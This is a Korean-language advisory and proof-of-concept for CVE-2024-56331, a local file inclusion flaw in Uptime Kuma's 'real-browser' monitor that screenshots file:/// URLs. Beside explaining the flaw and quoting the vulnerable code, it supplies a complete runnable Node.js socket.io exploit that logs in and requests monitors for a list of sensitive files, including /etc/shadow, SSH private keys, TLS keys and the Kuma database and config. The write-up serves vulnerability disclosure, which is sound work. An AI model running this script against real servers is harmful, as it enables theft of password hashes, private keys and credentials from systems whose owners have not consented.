
CVE-2024-56331에 대한 개념 증명 익스플로잇으로, Uptime Kuma의 real-browser 모니터에서 부적절한 URL 처리로 인한 로컬 파일 포함(LFI)을 시연합니다. file:/// 프로토콜을 사용하여 민감한 서버 파일의 스크린샷을 캡처합니다.
Real-Browser 모니터부적절한 URL 처리 취약점으로 인해 공격자가 file:/// 프로토콜을 악용하여 서버의 민감한 로컬 파일에 접근할 수 있습니다. 이 취약점은 공격자가 제공한 URL의 스크린샷을 찍는 "real-browser" 요청 유형을 통해 트리거됩니다. file:///etc/passwd와 같은 로컬 파일 경로를 제공함으로써 공격자는 서버에서 민감한 데이터를 읽을 수 있습니다.
이 취약점은 시스템이 URL 필드에 대한 사용자 입력을 적절히 검증하거나 살균하지 않기 때문에 발생합니다. 구체적으로:
URL 입력 (<input data-v-5f5c86d7="" id="url" type="url" class="form-control" pattern="https?://.+" required="">)은 서버 측 검증 없이 file:/// 프로토콜을 포함한 임의의 파일 경로를 사용자가 입력할 수 있도록 허용합니다.
그런 다음 서버는 사용자가 제공한 URL을 사용하여 요청을 만들고, 이를 "real-browser" 요청을 수행하는 브라우저 인스턴스에 전달하여 주어진 URL의 콘텐츠 스크린샷을 찍습니다. 로컬 파일 경로(예: )가 입력되면 브라우저가 파일의 콘텐츠를 가져와 캡처합니다.
file:///etc/passwdconst browser = await getBrowser();
const context = await browser.newContext();
const page = await context.newPage();
const res = await page.goto(monitor.url, {
waitUntil: "networkidle",
timeout: monitor.interval * 1000 * 0.8,
});
let filename = jwt.sign(monitor.id, server.jwtSecret) + ".png";
await page.screenshot({
path: path.join(Database.screenshotDir, filename),
});
await context.close();
사용자 입력이 검증되지 않았기 때문에 공격자는 URL을 조작하여 로컬 파일(예: file:///etc/passwd)을 요청할 수 있으며, 시스템은 파일 콘텐츠의 스크린샷을 캡처하여 잠재적으로 민감한 데이터를 노출시킵니다.
view-source:file:///etc/passwd와 같은 로컬 파일 경로를 입력합니다.예시 PoC:
const { io } = require("socket.io-client");
// Server configuration and credentials
const CONFIG = {
serverUrl: "ws://localhost:3001",
credentials: {
username: "admin",
password: "password1"
},
requestType: {
REAL_BROWSER: "real-browser",
HTTP: "http"
},
urlHeader: {
VIEW_SOURCE: "view-source:file:///",
FILE: "file:///"
}
};
// List of sensitive files on a Linux system
const SENSITIVE_FILES = [
"/etc/passwd",
"/etc/shadow",
"/etc/hosts",
"/etc/hostname",
"/etc/network/interfaces", // May vary depending on the distribution
"/etc/ssh/ssh_config",
"/etc/ssh/sshd_config",
"~/.ssh/authorized_keys",
"~/.ssh/id_rsa",
"/etc/ssl/private/*.key",
"/etc/ssl/certs/*.crt",
"/app/data/kuma.db", // Uptime Kuma database file
"/app/data/config.json" // Uptime Kuma configuration file
];
// Function to send a request and wait for the response
function sendRequest(socket, filePath, type) {
return new Promise((resolve, reject) => {
fileUrl = CONFIG.urlHeader.VIEW_SOURCE + filePath;
if (type == CONFIG.requestType.HTTP) {
fileUrl = CONFIG.urlHeader.FILE + filePath;
}
socket.emit("add", {
type: type,
name: type + " " + filePath,
url: fileUrl,
method: "GET",
maxretries: 0,
timeout: 500,
notificationIDList: {},
ignoreTls: true,
upsideDown: false,
accepted_statuscodes: ["200-299"]
}, (res) => {
console.log(`Response for file ${filePath}:`, res);
resolve();
});
});
}
// Main function for connecting and sending the 'add' request
(async () => {
const socket = io(CONFIG.serverUrl);
// Handle connection errors
socket.on("connect_error", (err) => {
console.error("Connection failed:", err.message);
});
try {
// Connecting with credentials
await new Promise((resolve, reject) => {
socket.emit("login", {
username: CONFIG.credentials.username,
password: CONFIG.credentials.password,
token: ""
}, (res) => {
if (res.ok) {
console.log("Connection successful");
resolve();
} else {
console.log(res);
reject(new Error("Connection failed"));
}
});
});
// Sending requests for each file using Promise.all to ensure synchronization
const realBrowserRequests = SENSITIVE_FILES.map(filePath => sendRequest(socket, filePath, CONFIG.requestType.REAL_BROWSER));
// Wait for all requests to be sent
await Promise.all([...realBrowserRequests]);
// Close the socket after all requests have been sent
socket.close();
console.log("Connection closed after all requests.");
} catch (error) {
console.error("Error:", error.message);
socket.close();
}
})();
이 취약점은 로컬 파일 포함(LFI) 문제로, 공격자가 서버의 민감한 파일에 접근하여 잠재적으로 유출할 수 있게 합니다. 영향은 심각하며, 공격자는 다음과 같은 중요한 시스템 파일이나 애플리케이션 구성 파일에 접근할 수 있습니다:
/etc/passwd: 사용자 계정 정보 포함./etc/shadow: 비밀번호 해시 포함./app/data/kuma.db: Uptime Kuma 모니터링 도구의 데이터베이스./app/data/config.json: Uptime Kuma의 데이터베이스 자격 증명 포함."real-browser" 모드에서 URL을 제출할 수 있는 인증된 사용자는 이러한 파일의 스크린샷을 통해 민감한 데이터가 노출될 위험이 있습니다.